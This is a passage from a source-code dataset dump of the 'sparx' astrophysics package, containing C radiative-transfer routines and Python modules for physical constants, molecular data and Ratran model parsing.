vfac;\n\t\t\t\t\tfirststep = 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\t#if debug_ray\n\t\t\tprintf(\"%12lu %12.4e %12.4e %12.4e %12.4e %12.4e %12.4e %12.4e\\n\", (unsigned long)iter, t, vfac, pp->n_H2, pp->X_mol, pp->sigma, dtau_nu, tau[0]);\n\t\t\t#endif\n\t\t}\n\n\t\t#if debug_ray //debug\n\t\ttmp_ray = GeRay_Inc(ray, t);\n\t\tGeVec3_Cpgarro2(&ray->e, &tmp_ray.e, &cam);\n\t\tif(1) {\n\t\t\t//printf(\"plane=%lu\\n\", (unsigned long)plane);\n\t\t\tcpgupdt();\n\t\t\tDeb_PAUSE();\n\t\t}\n\t\t#endif\n\n\t\t/* Propagate ray to next position */\n\t\t*ray = GeRay_Inc(ray, t);\n\n\t\t/* Get next zone to traverse to */\n\t\t//zp = Zone_Getnext_Rec3d(zp, plane, &ray->e);\n\t\tzp = Zone_GetNext(zp, plane, ray);\n\n\t\t#if debug_ray //debug\n\t\titer++;\n\t\t#endif\n\t}\n\n\t/* Ray escaped cloud, add CMB to all lines */\n\tfor(i = 0; i < NRAD; i++) {\n\t\tintensity[i] += glb.I_cmb[i] * exp(-tau[i]);\n\t}\n\n\t#if debug_ray //debug\n\tprintf(\"ds0=%12.4e, vfac0=%12.4e\\n\", (*ds0) / Sp_LENFAC, *vfac0);\n\t//Deb_PAUSE();\n\t#endif\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic void CalcJbar(size_t tid, SpPhys *pp, const double *ds0, const double *vfac0,\n\tconst double *intensity, const double *tau, double *J_bar)\n/* Calculate J_bar, the mean radiation field intensity, by averaging the\n * radiation field over direction and velocity */\n{\n\tsize_t i, j;\n\tdouble j_nu, k_nu, S_nu, dtau_nu, vfac0_sum;\n\n\t/* Reset Jbar (very important!) */\n\tMem_BZERO2(J_bar, NRAD);\n\n\t/* Reset tau */\n\tMem_BZERO2(pp->tau, NRAD);\n\n\t/* Reset vfac0_sum */\n\tvfac0_sum = 0;\n\n\t/* Loop through all rays and sum intensities for averaging */\n\tfor(i = 0; i < pp->nray; i++) {\n\t\t/* Accumulate vfac_sum */\n\t\tvfac0_sum += vfac0[i];\n\n\t\t/* Loop through lines */\n\t\tfor(j = 0; j < NRAD; j++) {\n\t\t\t/* Calculate local emission and absorption */\n\t\t\tSpPhys_GetMoljk(tid, pp, j, vfac0[i], &j_nu, &k_nu);\n\n\t\t\tif(fabs(k_nu) > 0) {\n\t\t\t\tdtau_nu = k_nu * ds0[i];\n\t\t\t\tS_nu = j_nu / k_nu / glb.I_norm[j];\n\n\t\t\t\tSpPhys_LIMITTAU(dtau_nu);\n\n\t\t\t\t/* Accumulate intensities weighted over vfac in J_bar: the average\n\t\t\t\t * over velocity is extremely important -- failing to do so would\n\t\t\t\t * result in a dependence of the excitation on size of grid! */\n\t\t\t\tJ_bar[j] += vfac0[i] * (INTENSITY(i, j) * exp(-dtau_nu) + S_nu * (1.0 - exp(-dtau_nu)));\n\n\t\t\t\t/* Store total tau in zone for bookkeeping */\n\t\t\t\tpp->tau[j] += vfac0[i] * (TAU(i, j) + dtau_nu);\n\t\t\t}\n\t\t}\n\t}\n\n\tassert(vfac0_sum >= 0); /* Just in case */\n\n\tif(vfac0_sum > 0) {\n\t\tfor(i = 0; i < NRAD; i++) {\n\t\t\t/* Denormalized and average J_bar */\n\t\t\tJ_bar[i] = J_bar[i] * glb.I_norm[i] / vfac0_sum;\n\n\t\t\t/* Calculate averaged tau for this zone */\n\t\t\tpp->tau[i] /= vfac0_sum;\n\n\t\t\t#ifdef DEBUG\n\t\t\tJ_bar[i] *= 1.5;\n\t\t\t#endif\n\t\t}\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic void CalcDetailedBalance(size_t tid, SpPhys *pp, const double *ds0,\n\tconst double *vfac0, const double *intensity, const double *tau)\n/* Calculate and invert detailed balance equations to solve for level\n * populations, and save results in pp */\n{\n\tsize_t iter, ihist, i, j, k, up, lo, max_diff_lev = 0;\n\tdouble *rmat, *J_bar, *rhs, *hist, diff = 0;\n\n\t/* Allocate J_bar array */\n\tJ_bar = Mem_CALLOC(NRAD, J_bar);\n\n\t/* Allocate rates matrix: (NLEV + 1) x NLEV,\n\t * where the additional row is for the constraint\n\t * that all levels must sum to unity */\n\trmat = Mem_CALLOC((NLEV + 1) * NLEV, rmat);\n\n\t#define RMAT(i, j)\\\n\t\trmat[(j) + NLEV * (i)]\n\t#define CMAT(i, j)\\\n\t\t(pp->cmat[(j) + NLEV * (i)])\n\n\t/* RHS of rate equation */\n\trhs = Mem_CALLOC(NLEV + 1, rhs);\n\trhs[NLEV] = 1.0;\n\n\t/* Allocate hist array */\n\thist = Mem_CALLOC(NHIST * NLEV, hist);\n\n\tfor(iter = 0; iter < glb.maxi; iter++) {\n\t\tfor(ihist = 0; ihist < NHIST; ihist++) {\n\t\t\t/* Calculate J_bar, the mean radiation field intensity */\n\t\t\tCalcJbar(tid, pp, ds0, vfac0, intensity, tau, J_bar);\n\n\t\t\t/* Reset rates matrix */\n\t\t\tMem_BZERO2(rmat, (NLEV + 1) * NLEV);\n\n\t\t\t/* Add radiative terms to rates matrix */\n\t\t\tfor(i = 0; i < NRAD; i++) {\n\t\t\t\tup = RAD(i)->up;\n\t\t\t\tlo = RAD(i)->lo;\n\n\t\t\t\t/* Diagonal terms are transitions `out of' row state */\n\t\t\t\tRMAT(up, up) -= (RAD(i)->A_ul + J_bar[i] * RAD(i)->B_ul);\n\t\t\t\tRMAT(lo, lo) -= (J_bar[i] * RAD(i)->B_lu);\n\n\t\t\t\t/* Off-diagonal terms are transitions `into' row state */\n\t\t\t\tRMAT(up, lo) += (J_bar[i] * RAD(i)->B_lu);\n\t\t\t\tRMAT(lo, up) += (RAD(i)->A_ul + J_bar[i] * RAD(i)->B_ul);\n\t\t\t}\n\n\t\t\t/* Add collisional terms to rates matrix */\n\t\t\tfor(i = 0; i < NLEV; i++) {\n\t\t\t\tfor(j = 0; j < NLEV; j++) {\n\t\t\t\t\tif(i == j) {\n\t\t\t\t\t/* Diagonal terms are minus the sums of the rates from all\n\t\t\t\t\t * collisional transitions `out of' state i */\n\t\t\t\t\t\tfor(k = 0; k < NLEV; k++)\n\t\t\t\t\t\t\tRMAT(i, j) -= CMAT(i, k);\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t/* Off-diagonal terms are sums of rates from state j\n\t\t\t\t\t * `into' state i */\n\t\t\t\t\t\tRMAT(i, j) += CMAT(j, i);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t/* Last row is the constraint that all level densities\n\t\t\t\t * must sum to unity */\n\t\t\t\tRMAT(NLEV, i) = 1.0;\n\t\t\t}\n\n\t\t\t/* Invert matrix with QR decomposition and solve for\n\t\t\t * level populations */\n\t\t\tNum_QRDecompSolve(rmat, NLEV + 1, NLEV, rhs, pp->pops[tid]);\n\n\t\t\t/* Zero out negative/uncertain pops */\n\t\t\tfor(i = 0; i < NLEV; i++) {\n\t\t\t\tif(pp->pops[tid][i] < 0)\n\t\t\t\t\tpp->pops[tid][i] = 0.0;\n\t\t\t}\n\n\t\t\tfor(i = 0; i < NLEV; i++) {\n\t\t\t\tHIST(ihist, i) = pp->pops[tid][i];\n\t\t\t}\n\t\t}\n\t\t/* Calculate relative difference */\n\t\t//diff = CalcDiff(hist, &max_diff_lev);\n\t\tdiff = CalcDiff2(hist, &max_diff_lev);\n\n\t\t/* Stop iterating if diff is less than TOLERANCE */\n\t\tif(diff <= TOLERANCE)\n\t\t\tbreak;\n\t}\n\n\t/* Warn for non-convergence */\n\tif(diff > TOLERANCE) {\n\t\tSp_PWARN(\"non-convergence detected at level %lu in zone <%lu,%lu,%lu> (diff=%.3e)\\n\",\n\t\t\tmax_diff_lev,\n\t\t\tGeVec3_X(pp->zp->index, 0),\n\t\t\tGeVec3_X(pp->zp->index, 1),\n\t\t\tGeVec3_X(pp->zp->index, 2),\n\t\t\tdiff);\n\t}\n\n\t#undef RMAT\n\t#undef CMAT\n\n\t/* Cleanup */\n\tfree(J_bar);\n\tfree(rmat);\n\tfree(rhs);\n\tfree(hist);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic double CalcDiff(const double *hist, size_t *max_diff_lev)\n{\n\tsize_t i, j;\n\tdouble mean, *diffs, max_diff;\n\n\tmax_diff = 0.0;\n\tdiffs = Mem_CALLOC(NHIST, diffs);\n\n\t/* Loop through all levels */\n\tfor(i = 0; i < NLEV; i++) {\n\t\t/* Calculate mean for this level */\n\t\tmean = 0;\n\t\tfor(j = 0; j < NHIST; j++) {\n\t\t\tmean += HIST(j, i);\n\t\t}\n\t\tmean /= (double)NHIST;\n\n\t\t/* Calculate relative difference from mean if\n\t\t * mean >= minpop */\n\t\tif(mean >= glb.minpop) {\n\t\t\tfor(j = 0; j < NHIST; j++)\n\t\t\t\tdiffs[j] = (HIST(j, i) - mean) / mean;\n\n\t\t\t/* Find max diff */\n\t\t\tNum_Qsort_d(diffs, NHIST);\n\n\t\t\tif(diffs[NHIST - 1] > max_diff) {\n\t\t\t\tmax_diff = diffs[NHIST - 1];\n\t\t\t\tif(max_diff_lev)\n\t\t\t\t\t*max_diff_lev = i;\n\t\t\t}\n\t\t}\n\t}\n\n\tfree(diffs);\n\n\treturn max_diff;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic double CalcDiff2(const double *hist, size_t *max_diff_lev)\n{\n\tsize_t i, j;\n\tdouble *diffs, *pops, max_diff;\n\n\t#define NDIFF (NHIST - 1)\n\tmax_diff = 0.0;\n\tdiffs = Mem_CALLOC(NDIFF, diffs);\n\tpops = Mem_CALLOC(NHIST, pops);\n\n\t/* Loop through all levels */\n\tfor(i = 0; i < NLEV; i++) {\n\t\t/* Load pops into array for sorting */\n\t\tfor(j = 0; j < NHIST; j++) {\n\t\t\tpops[j] = HIST(j, i);\n\t\t}\n\t\t/* Get smallest pops */\n\t\tNum_Qsort_d(pops, NHIST);\n\n\t\tif(pops[0] >= glb.minpop) {\n\t\t\t/* Calculate difference of hist[0] between all\n\t\t\t other hist values */\n\t\t\tfor(j = 0; j < NDIFF; j++) {\n\t\t\t\tdiffs[j] = fabs((HIST(j + 1, i) - HIST(0, i)) / HIST(0, i));\n\t\t\t}\n\t\t\t/* Get smallest diff */\n\t\t\tNum_Qsort_d(diffs, NDIFF);\n\n\t\t\tif(diffs[NDIFF - 1] > max_diff) {\n\t\t\t\tmax_diff = diffs[NDIFF - 1];\n\t\t\t\tif(max_diff_lev)\n\t\t\t\t\t*max_diff_lev = i;\n\t\t\t}\n\t\t}\n\t}\n\n\t#undef NDIFF\n\n\tfree(diffs);\n\tfree(pops);\n\n\treturn max_diff;\n}\n\n/*----------------------------------------------------------------------------*/\n\n#if 0\nstatic double CalcDiff(const double *hist)\n{\n\tsize_t i, j;\n\tdouble mean, *diffs, *max_diffs, max_diff;\n\n\tdiffs = Mem_CALLOC(NHIST, diffs);\n\tmax_diffs = Mem_CALLOC(NLEV, max_diffs);\n\n\t/* Loop through all levels */\n\tfor(i = 0; i < NLEV; i++) {\n\t\t/* Calculate mean for this level */\n\t\tmean = 0;\n\t\tfor(j = 0; j < NHIST; j++) {\n\t\t\tmean += HIST(j, i);\n\t\t}\n\t\tmean /= (double)NHIST;\n\n\t\t/* Calculate relative difference from mean if\n\t\t * mean >= minpop */\n\t\tif(mean >= glb.minpop) {\n\t\t\tfor(j = 0; j < NHIST; j++)\n\t\t\t\tdiffs[j] = (HIST(j, i) - mean) / mean;\n\n\t\t\t/* Find max diff */\n\t\t\tNum_Qsort_d(diffs, NHIST);\n\t\t\tmax_diffs[i] = diffs[NHIST - 1];\n\t\t}\n\t\telse\n\t\t\tmax_diffs[i] = 0.0;\n\t}\n\tNum_Qsort_d(max_diffs, NLEV);\n\tmax_diff = max_diffs[NLEV - 1];\n\n\tfree(diffs);\n\tfree(max_diffs);\n\n\treturn max_diff;\n}\n#endif\n\n\n#endif\n\n\n" }, { "alpha_fraction": 0.5805515050888062, "alphanum_fraction": 0.5812771916389465, "avg_line_length": 28.95652198791504, "blob_id": "28137e9ad029b4a97560869f2a3189ca612d9a91", "content_id": "8f131e836cd916ceee83d2fb4413a682b11db32d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1378, "license_type": "no_license", "max_line_length": 81, "num_lines": 46, "path": "/lib/sparx/regtest.py", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "from unittest import TestCase\nimport inspect\nfrom functools import wraps\n\nclass UnitTestCase(TestCase):\n def __init__(self, *args, **kwargs):\n super(UnitTestCase, self).__init__(*args, **kwargs)\n import inspect\n modname = inspect.getmodule(self.__class__).__name__\n classname = self.__class__.__name__\n runname = modname+\"-\"+classname\n self.runname = runname\n return\n\n @classmethod\n def get_datadir(cls):\n from os.path import dirname, join\n clspth = inspect.getfile(cls)\n pth = \".\".join(clspth.split(\".\")[:-1])+\"_data\"\n return pth\n\n @classmethod\n def get_runname(cls):\n \"\"\"Runname for this testcase is modulename_classname_datetime\"\"\"\n from datetime import datetime as dt\n modulename = cls.get_module()\n classname = cls.__name__\n runname = modulename+\"-\"+classname+\"-\"+dt.now().strftime(\"%Y%m%d-%H%M%S\")\n return runname\n\ndef use_rundir(f):\n \"\"\"Decorator to make testcase run in designated rundir\n \"\"\"\n def wrapper(self):\n print self\n import os, os.path\n if not os.path.isdir(self.runname):\n os.mkdir(self.runname)\n dirsave = os.getcwd()\n try:\n os.chdir(self.runname)\n ret = f(self)\n finally:\n os.chdir(dirsave)\n return ret\n return wrapper\n" }, { "alpha_fraction": 0.6460639834403992, "alphanum_fraction": 0.6485239863395691, "avg_line_length": 24.77777862548828, "blob_id": "a1bfa274472110c843c9b43f86ed6f6a32ed70fd", "content_id": "6f7c29fc217cd676b800f000072cf8ed8b5d1322", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3252, "license_type": "no_license", "max_line_length": 113, "num_lines": 126, "path": "/lib/sparx/ratran.py", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "# This is the Python interface to Ratran models and results\n# The object is divided into two sections: header and table. Each\n# section is contained in a dictionary:\n# The header dict holds keys and values\n# The table dict holds columns\n\nimport re\nfrom numpy import array, zeros\n\nclass ColumnCodeError(Exception):\n\tpass\n\nclass HeaderKeyError(Exception):\n\tpass\n\nclass HeaderFormatError(Exception):\n\tpass\n\nclass TableFormatError(Exception):\n\tpass\n\nKNOWN_KEYS = {\n\t\"rmax\": float,\n\t\"ncell\": int,\n\t\"tcmb\": float,\n\t\"gas:dust\": float,\n\t\"columns\": str,\n\t\"molfile\": str,\n\t\"velo\": str,\n\t\"kappa\": str\n}\n\nKNOWN_COLS = {\n\t\"id\": int,\n\t\"ra\": float,\n\t\"rb\": float,\n\t\"nh\": float,\n\t\"tk\": float,\n\t\"nm\": float,\n\t\"vr\": float,\n\t\"db\": float,\n\t\"td\": float,\n\t\"lp\": float\n}\n\nclass AmcPops:\n\tdef __init__(self, fname):\n\t\tfo = open(fname, \"r\")\n\t\tfdata = fo.read()\n\t\tfo.close()\n\n\t\t# Split sectioins according to \"@\"\n\t\tsections = fdata.split(\"@\")\n\n\t\t# Extract header\n\t\theader = sections[0].strip()\n\t\tself.header = {}\n\t\tfor line in header.split(\"\\n\"):\n\t\t\t# Skip comments and empty lines\n\t\t\tif re.search(r\"\\s*#.*\", line) or len(line.strip())==0:\n\t\t\t\tcontinue\n\n\t\t\t# Split header entry into key-val pair\n\t\t\tcols = line.split(\"=\")\n\n\t\t\t# Check for badly formatted entries\n\t\t\tif len(cols) < 2:\n\t\t\t\traise HeaderFormatError, \"Unable to recognize header entry '%s'\" % line\n\t\t\tkey = cols[0].strip()\n\t\t\tval = cols[1].strip()\n\n\t\t\t# Check for unknown header keys\n\t\t\tif key in KNOWN_KEYS:\n\t\t\t\tself.header[key] = KNOWN_KEYS[key](val)\n\t\t\telse:\n\t\t\t\traise HeaderKeyError, \"Unknown header key '%s'\" % key\n\n\t\t# Sanity check on header and post processing\n\t\tif \"columns\" not in self.header:\n\t\t\traise HeaderFormatError, \"Columns not defined in header\"\n\t\telse:\n\t\t\tself.columns = self.header[\"columns\"].strip().split(\",\")\n\t\t\tself.ncol = len(self.columns)\n\n\t\tif \"ncell\" not in self.header:\n\t\t\traise HeaderFormatError, \"Ncell not defined in header\"\n\t\telse:\n\t\t\tself.ncell = self.header[\"ncell\"]\n\n\t\t# Extrat table\n\t\ttable = sections[1].strip()\n\n\t\t# Check number of rows\n\t\tlines = table.split(\"\\n\")\n\t\tif len(lines) != self.ncell:\n\t\t\traise TableFormatError, \"Number of rows (%d) in table inconsistent with ncell (%d)\" % (len(lines), self.ncell)\n\n\t\t# If column lp is present get number of levels by\n\t\t# subtracting number of table columns with number of columns\n\t\t# given in header\n\t\tif \"lp\" in self.columns:\n\t\t\tntabcol = len(lines[0].strip().split())\n\t\t\tself.nlev = ntabcol - len(self.columns) + 1\n\n\t\t# Initialize table dict\n\t\tself.table = {}\n\t\tfor col in self.columns:\n\t\t\tif col != \"lp\":\n\t\t\t\tself.table[col] = zeros([self.ncell], dtype=KNOWN_COLS[col])\n\t\t\telse:\n\t\t\t\tself.table[col] = zeros([self.ncell, self.nlev], dtype=KNOWN_COLS[col])\n\n\t\t# Load table data\n\t\tfor icell in range(self.ncell):\n\t\t\tcols = lines[icell].strip().split()\n\t\t\tfor icol in range(self.ncol):\n\t\t\t\tname = self.columns[icol]\n\t\t\t\tif name != \"lp\":\n\t\t\t\t\tself.table[name][icell] = KNOWN_COLS[name](cols[icol])\n\t\t\t\telse:\n\t\t\t\t\tfor ilev in range(self.nlev):\n\t\t\t\t\t\tself.table[name][icell][ilev] = KNOWN_COLS[name](cols[icol+ilev])\n\n\tdef __repr__(self):\n\t\treturn \"\\n\".join([\"%s: %s\" % (key, self.header[key]) for key in sorted(self.header.keys())])+\"\\n\"+\\\n\t\t \"\\n\".join([\"%s: %s\" % (key, self.table[key]) for key in sorted(self.table.keys())])\n\n\n\n\n" }, { "alpha_fraction": 0.7551487684249878, "alphanum_fraction": 0.7574370503425598, "avg_line_length": 38.727272033691406, "blob_id": "c60747bc41758fd9d841cd3334ae020e266953ba", "content_id": "38d3731584e5cef97f14936a1d7fa7c5d26af26f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 437, "license_type": "no_license", "max_line_length": 66, "num_lines": 11, "path": "/src/_sparx-unittests.h", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#ifndef __SPARX_UNITTESTS_H__\n#define __SPARX_UNITTESTS_H__\n\nPyObject *test_geom_dotprod(PyObject *self, PyObject *args);\nPyObject *test_geom_vecops(PyObject *self, PyObject *args);\nPyObject *test_geom_rayprop(PyObject *self, PyObject *args);\nPyObject *test_geom_rayprop2(PyObject *self, PyObject *args);\nPyObject *test_passargs(PyObject *self, PyObject *args);\nPyObject *test_model_print_ratran(PyObject *self, PyObject *args);\n\n#endif\n" }, { "alpha_fraction": 0.5506444573402405, "alphanum_fraction": 0.5811458230018616, "avg_line_length": 29.360654830932617, "blob_id": "84115b5b19bef7c49d90dea67c1f21e5588260e5", "content_id": "ae84f375ecd5a4e640865704307cde8ceebfbf1e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14819, "license_type": "no_license", "max_line_length": 205, "num_lines": 488, "path": "/lib/sparx/physics.py", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "##\n## Various physics consants and routines\n##\n\n# Some necessary imports\nfrom math import sqrt, exp, pi\nfrom sparx import MOLEC_LIST, MOLEC_DIR\n\nclass Const:\n\t'''Physical constants'''\n\t# Physical constants\n\tpi = pi\n\tspi = sqrt(pi)\n\tG = 6.673E-11 # m^3kg^-1s^-2\n\tc = 2.99792458e8 # m s^-1\n\tk = 1.3806503e-23 # J K^-1\n\th = 6.62606876e-34 # J s\n\tsigma_sb = 5.67e-8 # W m^-2 K^-4\n\tme = 9.1093897e-31 # kg\n\tmp = 1.6726231e-27 # kg\n\nclass Units:\n\t'''Physical units'''\n\t# Angular units\n\tdeg = Const.pi / 180.0\n\tamin = deg / 60.0\n\tasec = amin / 60.0\n\n\t# Time units\n\tminute = 60.0 # s\n\thour = 60.0 * minute # s\n\tday = 24.0 * hour\n\tyear = 365.242199 * day # s\n\n\t# Length units\n\tRearth = 6.378e6 # m\n\tRsun = 6.96e8 # m\n\tL_sun = 3.839e26 # J s^-1\n\tau = 1.49598e11 # m\n\tpc = 3.08568025e16 # m\n\tpercc = 1.0e6 # m^-3\n\tkm = 1.0e3 # m\n\tcm = 1.0e-2 # m\n\n\t# Mass units\n\tamu = 1.66053873E-27 # kg\n\tevamu = 96.5e6 # J/kg\n\tMsun = 1.9891e30 # kg\n\n\t# Energy units\n\teV = 1.602176487e-19 # J\n\n\t# Brightness units\n\tJy = 1e-26 # W m^-2 Hz^-1\n\n################################################################################\n\ndef StefanBoltzmann_T2F(T_k):\n\t'''\n\tThe Stefan-Boltzmann law: F = sigma * T**4\n\ti.e. the total (frequency integrated) flux from a black body at\n\tthermal temperature T_k\n\t'''\n\treturn Const.sigma_sb * T_k**4.0\n\n################################################################################\n\ndef StefanBoltzmann_F2T(F):\n\t'''\n\tInverse of the Stefan-Boltzmann law: T = (F / sigma)**(1/4)\n\ti.e. the thermal temperature of a black body emitting a total\n\t(frequency integrated) flux F\n\t'''\n\treturn (F / Const.sigma_sb)**0.25\n\n################################################################################\n\ndef PlanckLaw(nu, T_k):\n\t'''\n\tThe Planck function: B_nu(T) = (2 * h * nu**3 / c**2) / (exp(h * nu / (k * T)) - 1)\n\tCAUTION: exp() diverges VERY QUICKLY and can easily overflow!!!\n\tTherefore a safer implementation is to use Rayleigh-Jeans' Law\n\tfor h * nu << k * T and Wien's Law otherwise (saved for later).\n\t'''\n\treturn (2.0 * Const.h * nu**3.0 / Const.c**2.0) / (exp(Const.h * nu / (Const.k * T_k)) - 1.0)\n\n################################################################################\n\ndef WienDispLaw_nu(T_k):\n\t'''\n\tThe Wien displacement law: h * nu_max = 2.82 * k * T\n\tCalculate at which frequency the black body\n\temission should be peaked at.\n\t'''\n\treturn 2.82 * Const.k * T_k / Const.h\n\n################################################################################\n\ndef WienDispLaw_lam(T_k):\n\t'''\n\tThe Wien displacement law: h * nu_max = 2.82 * k * T\n\tCalculate at which wavelength the black body\n\temission should be peaked at.\n\t'''\n\treturn Const.c / WienDispLaw_nu(T_k)\n\n################################################################################\n\ndef Doppler_vel2frq(f0, v):\n\t'''\n\tThis function converts frequency to velocity through the\n\tDoppler effect:\n\t f = f0 * sqrt((c - v) / (c + v))\n\t'''\n\treturn f0 * sqrt((Const.c - v) / (Const.c + v))\n\n################################################################################\n\ndef Doppler_frq2vel(f0, f):\n\t'''\n\tThis function converts frequency to velocity through the\n\tDoppler effect:\n\t f = f0 * sqrt((c - v) / (c + v))\n\t => v = c * (1 - (f / f0)**2) / (1 + (f / f0)**2)\n\t'''\n\treturn Const.c * (1.0 - (f / f0)**2) / (1.0 + (f / f0)**2)\n\ndef thermal_vwidth(Tk, m):\n\t\"\"\"Thermal velocity width\n\n\tTk: kinetic temperature [K]\n\tm: molecular mass [kg]\n\tNote that this is sqrt(2)*sigma where sigma is the half-width of the\n\tcorresponding Gaussian distribution.\n\t\"\"\"\n\treturn sqrt(2.0 * Const.k * Tk / m) # [m/s]\n\ndef gaussian_fprofile(nu, nu0, delta_nu):\n\t\"\"\"Gaussian line profile function\n\n\tnu0: line center frequency\n\tdelta_nu: linewidth\n\tnu: frequency\n\t\n\tNote that delta_nu=sqrt(2)*sigma where sigma is the half-width of the\n\tcorresponding Gaussian distribution.\n\tsee e.g. Rybicki & Lightman (1979) p. 288\n\t\"\"\"\n\treturn (1 / (delta_nu * Const.spi)) * exp(-((nu - nu0) / delta_nu)**2.0)\n\ndef gaussian_vprofile(vel, delta_vel):\n\t\"\"\"\n\t# vel: velocity\n\t# delta_vel: linewidth\n\t#\n\t# Note that delta_vel=sqrt(2)*sigma where sigma is the half-width of the\n\t# corresponding Gaussian distribution.\n\t# see e.g. Rybicki & Lightman (1979) p. 288\n\t#\n\t\"\"\"\n\treturn (1 / (delta_vel * Const.spi)) * exp(-(vel / delta_vel)**2.0)\n\ndef Keplerian_velocity(m, r):\n\t\"\"\"\n\tCalculate the Keplerian rotation velocity at radius r with central mass m.\n\t\"\"\"\n\treturn (Const.G * m / r)**0.5\n\n################################################################################\n# Vector functions\n\ndef Vec3_Normalize(a):\n\tmag = sqrt(a[0]**2 + a[1]**2 + a[2]**2)\n\treturn [a[i] / mag for i in range(3)]\n\ndef Vec3_DotProd(a, b):\n\treturn [a[i] * b[i] for i in range(3)]\n\ndef Vec3_Scale(a, k):\n\treturn [a[i] * k for i in range(3)]\n\n################################################################################\n# Other\n\nclass Molecule:\n\t\"\"\"\n\tMolecule class\n\t\"\"\"\n\tdef __init__(self, name):\n\t\t\"\"\"\n\t\tConstructor for Molecule class\n\t\t\"\"\"\n\t\tif name not in MOLEC_LIST:\n\t\t\traise Exception, \"Molecule '%s' is not available\"%name\n\t\tself.name = name\n\t\tself.path = MOLEC_DIR+\"/\"+name+\".dat\"\n\t\tself.load_file(self.path)\n\t\treturn\n\n\tdef load_file(self, fpath):\n\t\t\"\"\"\n\t\tLoad molecular data from file at fpath\n\t\t\"\"\"\n\t\t# Load molecule from file\n\t\tfobj = file(fpath)\n\t\tif fobj is None:\n\t\t\traise Exception, \"Unable to access molecular data file '%s'\" % (fpath)\n\n\t\t# Lines 1-2: molecule name\n\t\tfor i in range(2):\n\t\t\tline = fobj.readline()\n\t\tself.chemname = line.strip()\n\n\t\t# Lines 3-4: molecular weight\n\t\tfor i in range(2):\n\t\t\tline = fobj.readline()\n\t\tself.weight = float(line.strip()) # amu\n\t\tself.mass = self.weight * Units.amu # amu -> kg\n\n\t\t# Lines 5-6: number of energy levels (NLEV)\n\t\tfor i in range(2):\n\t\t\tline = fobj.readline()\n\t\tself.nlev = int(line.strip())\n\n\t\t# Lines 7-7+NLEV: level number, level energy (cm-1), statistical weight\n\t\t# Get quantum state label from header\n\t\tline = fobj.readline() \n\t\thdrcols = [i.strip() for i in line.split(\"+\")]\n\t\tself.qstate = \"+\".join(hdrcols[3:])\n\n\t\t# Load level data\n\t\tself.lev_E = []\n\t\tself.lev_g = []\n\t\tself.lev_state = []\n\t\tfor i in range(self.nlev):\n\t\t\tline = fobj.readline()\n\t\t\tcols = line.split()\n\t\t\tif len(cols) < 4:\n\t\t\t\traise Exception, \"%s: Number of columns in molecular data level table < 4\" % name\n\t\t\tself.lev_E += [float(cols[1]) * (1.0 / Units.cm) * Const.h * Const.c] # cm^-1 -> J\n\t\t\tself.lev_g += [float(cols[2])] # dimensionless\n\t\t\tself.lev_state += [cols[3]] # string\n\n\t\t# Lines 8+NLEV-9+NLEV: number of radiative transitions (NLIN)\n\t\tfor i in range(2):\n\t\t\tline = fobj.readline()\n\t\tself.nline = int(line.strip())\n\n\t\t# Load line data\n\t\tfobj.readline() # Skip table header\n\t\tself.line_up = []\n\t\tself.line_lo = []\n\t\tself.line_Aul = []\n\t\tself.line_Bul = []\n\t\tself.line_Blu = []\n\t\tself.line_freq = []\n\t\tfor i in range(self.nline):\n\t\t\tline = fobj.readline()\n\t\t\tcols = line.split()\n\t\t\tif len(cols) != 6:\n\t\t\t\traise Exception, \"Number of columns in molecular data line table not eq 6\"\n\t\t\tlev_up = int(cols[1]) - 1\n\t\t\tlev_lo = int(cols[2]) - 1\n\t\t\tself.line_up += [lev_up]\n\t\t\tself.line_lo += [lev_lo]\n\n\t\t\t# Recalculate frequency from energies\n\t\t\tEu = self.lev_E[self.line_up[i]]\n\t\t\tEl = self.lev_E[self.line_lo[i]]\n\t\t\tfreq = (Eu - El) / Const.h # Hz\n\t\t\tself.line_freq += [freq]\n\n\t\t\t# Aul, Bul and Blu\n\t\t\tAul = float(cols[3]) # s^-1\n\t\t\tBul = Aul * Const.c**2 / (2.0 * Const.h * freq**3.0) # Inu^-1s^-1\n\t\t\tgu = self.lev_g[lev_up]\n\t\t\tgl = self.lev_g[lev_lo]\n\t\t\tBlu = (gu / gl) * Bul # Inu^-1s^-1\n\t\t\tself.line_Aul += [Aul]\n\t\t\tself.line_Bul += [Bul]\n\t\t\tself.line_Blu += [Blu]\n\t\t# Get lowest frequency transition\n\t\tself.min_freq = sorted(self.line_freq)[0]\n\n\t\t# Lines 11+NLEV+NLIN-12+NLEV+NLIN: number of collision partners\n\t\tfor i in range(2):\n\t\t\tline = fobj.readline()\n\t\tself.ncol = int(line.strip())\n\t\tself.col = []\n\n\t\tclass Coll:\n\t\t\t\"\"\"\n\t\t\tMolecular collisional partner class\n\t\t\t\"\"\"\n\t\t\t# List of species\n\t\t\tspecies = (\"H2\", \"p-H2\", \"o-H2\", \"e\", \"H\", \"He\")\n\n\t\t\tdef __init__(self, mol):\n\t\t\t\t# Pointer to moelcule\n\t\t\t\tself.mol = mol\n\n\t\t\t\t# Lines 13+NLEV+NLIN-14+NLEV+NLIN: collision partner ID and reference.\n\t\t\t\t# Valid identifications are:\n\t\t\t\t# 1=H2, 2=para-H2, 3=ortho-H2, 4=electrons, 5=H, 6=He.\n\t\t\t\tfor i in range(2):\n\t\t\t\t\tline = fobj.readline()\n\t\t\t\tcols = line.strip().split()\n\t\t\t\tself.id = int(cols[0])\n\t\t\t\tself.name = self.species[self.id - 1]\n\t\t\t\tself.ref = \" \".join([i.strip() for i in cols[1:]])\n\n\t\t\t\t# Lines 